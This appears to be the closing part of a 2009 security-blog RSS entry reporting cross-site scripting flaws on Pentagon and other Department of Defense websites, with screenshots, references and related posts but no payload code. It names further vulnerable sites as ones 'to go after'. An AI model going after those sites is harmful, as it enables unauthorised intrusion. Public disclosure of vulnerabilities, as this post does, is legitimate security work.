<p><object width="425" height="344"><param name="movie" value="http://www.youtube.com/v/Scc3FppcVvo&#038;hl=en_US&#038;fs=1&#038;"></param><param name="allowFullScreen" value="true"></param><param name="allowscriptaccess" value="always"></param><embed src="http://www.youtube.com/v/Scc3FppcVvo&#038;hl=en_US&#038;fs=1&#038;" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="425" height="344"></embed></object>
<br /></p>

<h3>Update 2:</h3>

<p>Mike Bailey, a security researcher with web application expertise, and I have been having a friendly give and take on Twitter about whether this example is newsworthy by itself, following that whether it is depressing that XSS flaws are no longer newsworthy, whether this serves as a great example to get reasoned attention on the issue with its downstream problems and so on.</p>

<p>In the midst of proving his points, the DOD has gotten some good analysis of their web sites XSS vulnerabilities, as Mike tested a number of the other properties under afis.osd.mil as part of his blog post. So while the first problem is being fixed, here are a few others to go after:</p>

<div id="attachment_2144" class="wp-caption alignnone" style="width: 310px"><a href="http://praetorianprefect.com/wp-content/uploads/2009/12/dodimagery.jpg"><img src="http://praetorianprefect.com/wp-content/uploads/2009/12/dodimagery-300x135.jpg" alt="Department of Defense&#039;s imagery website." title="dodimagery" width="300" height="135" class="size-medium wp-image-2144" /></a><p class="wp-caption-text">Department of Defense's imagery website, XSS vulnerability.</p></div>

<div id="attachment_2145" class="wp-caption alignnone" style="width: 310px"><a href="http://praetorianprefect.com/wp-content/uploads/2009/12/jccc.jpg"><img src="http://praetorianprefect.com/wp-content/uploads/2009/12/jccc-300x132.jpg" alt="Joint combat camera center web site, XSS vulnerability." title="jccc" width="300" height="132" class="size-medium wp-image-2145" /></a><p class="wp-caption-text">Joint combat camera center web site, XSS vulnerability.</p></div>

<div id="attachment_2146" class="wp-caption alignnone" style="width: 310px"><a href="http://praetorianprefect.com/wp-content/uploads/2009/12/myafn.jpg"><img src="http://praetorianprefect.com/wp-content/uploads/2009/12/myafn-300x156.jpg" alt="American Forces Network, XSS vulnerability." title="myafn" width="300" height="156" class="size-medium wp-image-2146" /></a><p class="wp-caption-text">American Forces Network, XSS vulnerability.</p></div>

<h3>References</h3>

<ul>
<li><a href="http://ne0h.baywords.com/2009/12/06/pentagon/">Neoh&#8217;s Blog &#8211; Pentagon</a></li>
<li><a href="http://xssed.com/mirror/60019/">Pentagon XSS Vulnerability on XSSed</a></li>
<li><a href="http://pentagon.afis.osd.mil">Official Site of the Pentagon</a></li>
<li><a href="http://attrition.org/news/content/99-06-19.001.html">Article on the Original Ne0h</a></li>
<li><a href="http://baywords.com/">BayWords</a></li>
</ul>

<p><strong>Related Posts:</strong></p>
<ul>
<li><a href="http://praetorianprefect.com/archives/2010/06/f-secure-xss-on-anti-theft-website/">F-Secure XSS on Anti-Theft Website</a></li>
<li><a href="http://praetorianprefect.com/archives/2010/06/formspring-me-xss-vulnerability/">Formspring.me XSS Vulnerability</a></li>
<li><a href="http://praetorianprefect.com/archives/2010/03/xss-flaw-on-paypal-com/">XSS Flaw on PayPal.com</a></li>
<li><a href="http://praetorianprefect.com/archives/2010/01/the-aurora-ie-exploit-in-action/">The &#8220;Aurora&#8221; IE Exploit Used Against Google in Action</a></li>
<li><a href="http://praetorianprefect.com/archives/2010/01/scareware-purveyors-spammers-and-crooks-take-advantage-of-haiti-earthquake/">Scareware Purveyors, Spammers, and Crooks Take Advantage of Haiti Earthquake</a></li>
</ul><br />
]]></content:encoded>
			<wfw:commentRss>http://praetorianprefect.com/archives/2009/12/pentagon-web-pwned/feed/</wfw:commentRss>
		<slash:comments>8</slash:comments>
		</item>
	</channel>
</rss>
